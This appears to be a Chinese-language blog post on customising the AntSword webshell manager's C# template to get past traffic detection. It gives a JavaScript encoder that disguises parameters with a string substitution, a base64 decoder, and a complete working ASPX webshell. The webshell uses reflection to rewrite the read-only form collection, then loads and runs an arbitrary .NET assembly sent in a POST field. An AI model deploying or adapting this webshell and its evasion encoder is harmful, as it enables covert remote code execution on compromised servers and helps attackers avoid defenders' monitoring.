前言
因C#功能较新且执行逻辑为发送功能类,所以常规的解码器并不能直接使用。翻看功能类源码发现都内置了Base64返回结果的功能,但默认没有开启。
那么这里的思路为:
1、先重新编译C#的功能类,把 https://github.com/AntSwordProject/AntSword-Csharp-Template.git 下所有cs文件中的 this.decoder = "";
替换为 this.decoder = "base64";
2、运行build.py再把dist文件夹替换蚁剑源码对应目录下的template,即可达成默认Base64输出的效果。
路径如:
dist → antSword/source/core/aspxcsharp/template
编码器
//
// aspx::csharp 编码模块
//
// :把除了密码的其他参数都base64编码一次
//
'use strict';
module.exports = (pwd, data) => {
for(var key in data){
data[key] = data[key].replace(/W/g, "HelloCsharp");
}
data[pwd] = data['_'];
delete data['_'];
return data;
}
解码器
'use strict';
module.exports = {
asoutput: () =>{
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
Webshell
接下来是WebShell的执行逻辑,因为在编码器中进行替换,且后续的命令、路径等参数并不是WebShell执行,因此需要在编码器中对全部的参数进行编码。
同时,因为获取参数的Request.Form
集合为只读集合,所以需要先用反射修改Request.Form
的只读属性,然后用for循环(此处不能用foreach)对Request.Form
集合的每个元素值相应的还原。
这样才能保证功能类获取到的参数为正常可使用的参数。
<%@ Page Language="c#" Debug=true%>
<%@ Import Namespace="System.Reflection" %>
<%
NameValueCollection oQuery = Request.Form;
oQuery = (NameValueCollection)Request.GetType().GetField("_form",BindingFlags.NonPublic | BindingFlags.Instance).GetValue(Request);
PropertyInfo oReadable = oQuery .GetType().GetProperty("IsReadOnly", BindingFlags.NonPublic | BindingFlags.Instance);
oReadable.SetValue(oQuery, false, null);
for (int i = 0; i < Request.Form.Keys.Count; i++)
{
Request.Form.Set(Request.Form[Request.Form.Keys[i]], Request.Form.Keys[i].Replace("HelloCsharp","W"));
}
oReadable.SetValue(oQuery, true, null);
String Payload = Request.Form["a"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(Context);
}
%>